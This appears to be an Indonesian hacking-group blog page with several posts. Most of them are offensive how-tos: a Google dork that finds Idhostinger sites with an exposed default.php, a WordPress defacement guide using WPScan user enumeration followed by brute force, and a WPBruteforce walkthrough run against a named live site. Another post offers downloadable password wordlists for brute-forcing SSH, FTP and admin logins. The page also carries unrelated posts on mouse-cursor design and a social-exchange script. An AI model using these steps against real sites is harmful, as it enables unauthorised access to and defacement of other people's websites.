Jaka Taruna Crew

Beranda

Jaka Taruna Crew

Ebook

0 komentar

[Hack] Hacking Idhostinger dengan file “default.php”

Tentang Idhostinger. Anda pasti kenalkan dengan layanan hosting super gratis dan kaya fitur ini ? Hanya bermodal Rp. 0 , alias tidak pakai uang, anda telah bisa memiliki sebuah hosting yang gratis aktif yang sangat lama.

Idhostinger

Tapi kita sering lupa akan satu hal kecil, yaitu menghapus file “default.php” yang disertakan langsung oleh hostingan. File ini berfungsi untuk melihat apakah domain yang kita set pada hosting telah aktif atau belum. Fatalnya, orang lain yang tidak memiliki hak akses sebagai admin, bisa melihat isi hostingan kita. Terlebih lagi jika hostingan ini kita gunakan untuk testing sebuah aplikasi. Sudah terbayangkan dampaknya seperti apa ?
Cukup dengan query Google Dork berikut :

inurl:”/default.php” “Akun Anda telah dibuat!”

kita telah bisa menemukan alamat web yang file “default.php” nya belum dihapus.
Sebetulnya hal ini telah diperingatkan oleh Idhostinger untuk segera menghapus file tersebut jika domain telah aktif.

Hapus file “default.php”

Jadi mulai saat ini, jika anda menggunakan layanan hosting di Idhostinger, segera hapus file “default.php” nya jika domain dan hosting anda telah aktif. Semoga berguna

0 komentar

Deface Wordpress Menggunakan WPScan dan Bruteforce Attack

1. Buka terminal
2. Masukkan perintah ruby /usr/bin/wpscan --url www.site-wp.com --enumerate u
lalu ikuti langkah perintah2 yang keluar :D
3. Setelah mengikuti langkah2 di atas, kita akhirnya menemukan user adminnya :)
4. Setelah ketemu kita tinggal menggunakan bruteforce attack untuk mencari passwornya aja
5. Finish :D

selamat mencoba ^_^

NB: - saya hanya tujukan langkah2nya saja untuk selanjutnya bisa di pahami sendiri :D
- dengan menggunakan teknik ini kemungkinan 30% akan lebih berhasil mendapatkan website tersebut dari pada menggunakan bruteforce saja :)

0 komentar

Wordpress login

Note: "Tidak semua website bisa dengan teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"

Pertama Download Bahan-Bahannya:

WPBruteforce

Password: http://indocyberarmy.blogspot.com

Dork: inurl:/wp-login.php

Yup, saatnya kita beraksi.. :)

Live Target: http://live-target.pusku.com/

Pertama, Extract File yg didownload tadi di Directori C: sehingga posisi menajdi C:\WPBrute

Lalu buka comand dengan cara : Klik Start>Run>ketik cmd

Biasanya posisi default directories di Cmd : C:\User\User_Name>

Ubah posisi directori dgn cara: ketik cd.. trus enter!

ex:
C:\User\User_Name>cd..
C:\User>cd..
C:\>

Lalu setelah itu masukkan perintah C:\>cd WPBrute lalu tekan enter!

Buka file dengan mengetik perintah: WPBorce.exe maka Akan muncul tampilan seperti gambar!

Lalu masukkan perintah: WPBforce.exe -url=http://www.tvbba.nl -user=admin -pass=wordlist.txt -threads=10

Lalu tekan enter!

Tunggu proses hingga selesai!

Wew! Berhasil tuh! wkwkwk Mantap! :p

Langsung Login dah!

GoodLuck!! :D

Content Created By Jaka

0 komentar

Kumpulan Wordlist

Pada dasarnya wordlist digunakan untuk melakukan serangan brutal atau bruteforce pada sistem ssh, ftp, telnet, page login admin pada sebuah web, dan lain-lainnya. Banyak cara untuk mendapatkan wordlist, dibacktrack sendiri telah memiliki wordlist default yang bisa kita gunakan untuk melakukan serangan tersebut yang terletak pada direktori /pentest/passwords/wordlists/, kemudian kita bisa mendownloadnya disitus-situs yang menyediakan wordlist ini. Wordlist memiliki beberapa karakter unik, kita bisa memilih wordlist tergantung yang kita perlukan. Jadi setiap wordlist memiliki jumlah digit yang berbeda untuk keberhasilan serangan ini. Saya berikan contoh, "anda memiliki wordlist dengan jumlah karakternya sebanyak 10 digit tetapi dalam hal ini password atau username target tertulis sebanyak 12 digit maka dapat dikatakan serangan ini tidak akan berhasil. Maka dari itu kita harus memiliki wordlist yang memiliki karakter 12 digit atau lebih". Jadi Yang Pengen Kumpulan Wordlist Monggo Di Comot :

1.1 Million Wordlist [ 9.9 Mb ] Download Here!

1.2 Million Wordlist [ 29.14 Mb ] Download Here!

7.5 Million Wordlist [ 24.1 Mb ] Download Here!

14 Million Wordlist [ 47.64 Mb ] Download Here!

1.5Gb Wordlist [ 5Mb ] Download Here!

0 komentar

Mengapa Kursor Mouse Miring?

Pernahkah terpikir oleh kita, mengapa desain kursor mouse di komputer dibuat miring? Saking seringnya kita melihat kursor, mungkin pertanyaan itu tak pernah terlintas di benak kita.

Kursor mouse yang kita kenal selama ini umumnya berupa tanda panah tersebut dan ditampilkan miring sekitar 45 derajat ke kiri. Namun, tahukah bahwa sebelumnya kursor dibuat tegak? Lalu mengapa dibuat miring?

Untuk menjawab pertanyaan tersebut, kita harus kembali ke masa pada awal mula mouse dibuat, di era tampilan komputer masih berupa susunan piksel resolusi rendah.

Menurut penjelasan di situs Stack Exchange, mouse dan kursor pertama kali dibuat oleh Douglas Englebart pada tahun 1968. Awalnya, kursor memang dibuat tegak lurus ke atas.

Namun, saat komputer Xerox PARC dibuat sekitar tahun 1970-an, kursor kemudian dibuat miring. Alasannya, dengan layar resolusi rendah pada zaman itu, kursor mouse yang tegak lurus susah dicari di layar.

Dengan piksel resolusi rendah, tampilan kursor sulit dibedakan dengan obyek-obyek lain yang ditampilkan layar komputer, apalagi saat itu tampilan layar masih monokrom.

Karena itu, dengan membuat kursor yang melintang 45 derajat, itu akan mempermudah pengguna mencari kursor di layar.

Setelah itu, kursor miring ke kiri temuan Englebart tersebut kemudian diadopsi oleh pembuat-pembuat software komputer hingga kini. Hal tersebut termasuk dilakukan oleh pencipta Apple, Steve Jobs, yang meminjam kursor tersebut untuk Mac OS-nya, dan kemudian Bill Gates dengan Windows-nya.

Sumber: Tekno.Kompas

0 komentar

PES Pro - Powerful Social Exchange 1.8.7 customized to 1.9.3

Kali ini saya akan membagikan script PES Pro - Powerful Social Exchange 1.8.7 customized to 1.9.3 secara gratis kepada sobat bloteng semua, script ini merupakan script exchange followers, like, share, viewers web, dan lain-lain yang tentunya sangat bagus sekali untuk sebuah komunitas social.

Untuk demo langsungnya sobat bloteng bisa melihat di web : http://vimuo.com

Untuk fitur yang versi 1.9.3 ini di tambahi dengan :

- Included Pinterest Modules
- Included Soundcloud
- Fixed facebook like, share, follow...
- Fixed Pinterest
- Fixed Twitter follow
- Can add social account
And more...